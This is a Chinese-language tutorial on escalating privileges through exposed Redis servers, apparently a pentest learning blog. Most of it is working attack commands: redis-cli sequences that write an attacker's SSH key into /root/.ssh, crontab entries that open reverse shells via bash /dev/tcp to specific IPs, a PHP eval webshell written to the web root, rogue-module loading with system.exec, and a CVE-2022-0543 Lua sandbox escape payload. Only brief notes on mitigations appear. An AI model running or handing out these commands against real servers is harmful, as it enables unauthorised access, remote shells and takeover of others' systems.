Redis提权
前言:这边来学习几种常规的redis提权,其中包含计划任务和写文件以及主从命令执行和Lua沙逃逸命令执行
参考文章:https://blog.csdn.net/fly_hps/article/details/80937837
参考文章:https://2018.zeronights.ru/wp-content/uploads/materials/15-redis-post-exploitation.pdf
参考文章:https://github.com/Dliv3/redis-rogue-server
参考文章:https://github.com/r35tart/RedisWriteFile
参考文章:http://doc.redisfans.com/key/scan.html
参考文章:https://www.dazhuanlan.com/knight9001/topics/1061140
redis的介绍
Redis是一个开源的使用ANSI C语言编写、遵守BSD协议、支持网络、可基于内存亦可持久化的日志型、Key-Value数据库,并提供多种语言的API。
它通常被称为数据结构服务器,因为值(value)可以是字符串(String), 哈希(Hash), 列表(list), 集合(sets) 和 有序集合(sorted sets)等类型。
基础命令
参考文章:http://doc.redisfans.com/key/scan.html
通过keys *
可以查看当前redis中存储的键值对数据,如下所示
scan
命令和作用和keys *
的作用类似,主要用于查找redis中的键,但是在正式的生产环境中一般不会直接使用keys *
这个命令,因为他会返回所有的键,如果键的数量很多会导致查询时间很长,进而导致服务器阻塞,所以需要scan来进行更细致的查找。
scan总共有这几种命令:scan、sscan、hscan、zscan,分别用于迭代数据库中的:数据库中所有键、集合键、哈希键、有序集合键,命令具体结构如下:
scan cursor [MATCH pattern] [COUNT count] [TYPE type]
sscan key cursor [MATCH pattern] [COUNT count]
hscan key cursor [MATCH pattern] [COUNT count]
zscan key cursor [MATCH pattern] [COUNT count]
这边的话简单测试下scan命令,scan 0
则是从指定游标cursor(0)开始进行查询,返回的结果为游标cursor(13),下次的查询结果就是从游标cursor(13)开始查询到后面,以此类推
写公钥登录服务器
在满足以下两个条件的情况的时候可以利用此方法
-
Redis服务使用root账号启动
-
服务器开放了SSH服务,而且允许使用密钥登录,即可远程写入一个公钥,直接登录远程服务器。
利用过程
首先本地生成ssh密钥对
ssh-keygen -t rsa
提前准备好要写入的ssh公钥,如下所示
(echo -e "\n\n";cat id_rsa.pub;echo -e "\n\n") > 1.txt
cat 1.txt
然后在存在未授权访问的目标机写入本地生成的ssh公钥
cat 1.txt | redis-cli -h 139.196.127.88 -a password -x set sendtokenbypassword
redis-cli -h 139.196.127.88 -a password
config set dir /root/.ssh
config set dbfilename authorized_keys
save
del sendtokenbypassword
config set dir /tmp
config set dbfilename dump.db
save
quit
最终通过ssh来指定私钥来进行连接
利用计划任务执行命令反弹shell
在redis以root权限运行时可以写crontab来执行命令反弹shell
nc -lp 3443
这边需要注意的一个地方就是写入操作的时候也是需要考虑不同系统的,这边通常碰到的就是centos和ubuntu,这边拿这两个来进行举例子
centos
centos系统的话写/var/spool/cron/目录下
提前准备好要写入的计划任务命令,如下所示
(echo -e "\n* * * * * bash -i >& /dev/tcp/192.168.2.6/3443 0>&1\n") > shell.txt
cat shell.txt
cat shell.txt | redis-cli -h 192.168.2.6 -a password -x set sendtokenbypassword
redis-cli -h 192.168.2.6 -a zpchcbd
config set dir /var/spool/cron
config set dbfilename root
save
del sendtokenbypassword
config set dir /tmp
config set dbfilename dump.db
save
quit
接着在机器上等待1分钟反弹shell,结果如下图所示
ubuntu(不演示,存在写入定时任务文件为644权限与默认文件600权限冲突情况)
注意:ubuntu定时任务/var/spool/cron/crontabs/root 的文件权限必须是 600 才能成功被执行
如果解决了600权限问题的话,可以参考下面这种利用方法,下面方法解决掉了crontab执行/bin/sh,而ubuntu环境下的/bin/sh指向的是/bin/dash的问题,直接在 sh 下执行bash -c
操作来进行解决,具体这边没有进行测试,所以也就没有截图了。
redis-cli -h 192.168.2.6
set sendtokenbypassword "\n*/1 * * * * bash -c "bash -i >&/dev/tcp/123.207.x.x/1234 0>&1"\n"
config set dir /var/spool/cron/crontabs
config set dbfilename root
save
del sendtokenbypassword
config set dir /tmp
config set dbfilename dump.db
save
quit
知识点
如果目标Redis是4.x,并且禁用了CONFIG SET
、SAVE
命令,请尝试使用EVAL命令 return redis.call('config','set','dir','/root')
不适用于Redis 5.x上,因为Redis在5.x中config命令是一个“无脚本”命令,这意味着无法redis-lua中调用此命令。
这边在4.x中模拟禁用config
命令,redis为了禁用某些危险的命令,可以通过rename-command指令修改Redis配置文件来进行实现。
rename-command CONFIG ""
这边centos的redis 4.x环境进行测试,重新测试config命令,可以发现已经提示config命令已经不存在了
(error) ERR unknown command 'config'
这个时候可以通过EVAL "return redis.call('config', 'set', 'dir', '/root/.ssh')" 0
来进行解决,但是在redis 4.0.5 的版本中进行测试,发现默认lua config命令是无法进行使用的,如下图所示
写入webshell到WEB目录
当redis权限不高时,并且服务器开着web服务,在redis有web目录写权限时,执行如下命令,可以尝试往web路径写webshell。
config set dir /var/www/html/
config set dbfilename shell.php
set x "<?php @eval($_POST[x]);?>"
save
这边看到目标服务器上的/var/www/html目录中已经写入了木马文件,如下图所示
主从加载so文件执行命令
相关exp.so利用脚本可以在https://github.com/Dliv3/redis-rogue-server下载到
执行下面的命令将exp.so写入到43.xxx.xxx.163的/tmp/exp.so中去
python3 RedisWriteFile.py --rhost=43.xxx.xxx.163 --rport=6379 --lhost=43.xxx.xxx.220 --lport=443 --rpath=/tmp --rfile=exp.so --lfile=exp.so
这边检查受害主机的/tmp/目录,如下图所示可以看到exp.so已经成功被写入了
接着这边加载exp.so来进行利用,如下图所示,可以看到主从命令执行成功
telnet 43.xxx.xxx.163 6379
module load /tmp/./exp.so
system.exec "ls /"
这边测试反弹shell,如下图所示
system.exec "bash -i >& /dev/tcp/43.xxx.xxx.163/3443 0>&1"
后期6.x修复方案
参考文章:https://github.com/redis/redis/pull/6257
新增了针对Redis模块和so文件的执行权限校验。
主从写入ssh公钥
主从复制上传的so文件利用如下图所示,可以看到已经无法利用了。
但是主从复制传输无损文件依然可用,config写文件也依然可用,如下图所示可以成功写入ssh公钥进行ssh连接
Lua沙盒绕过命令执行CVE-2022-0543
2.2 <= redis < 5.0.13
2.2 <= redis < 6.0.15
2.2 <= redis < 6.2.5
我们借助Lua沙箱中遗留的变量package的loadlib函数来加载动态链接库/usr/lib/x86_64-linux-gnu/liblua5.1.so.0
里的导出函数luaopen_io。在Lua中执行这个导出函数,即可获得io库,再使用其执行命令。
这边安装一个6.x的版本,如下
eval 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("whoami", "r"); local res = f:read("*a"); f:close(); return res' 0
没有测试成功,报错如下所示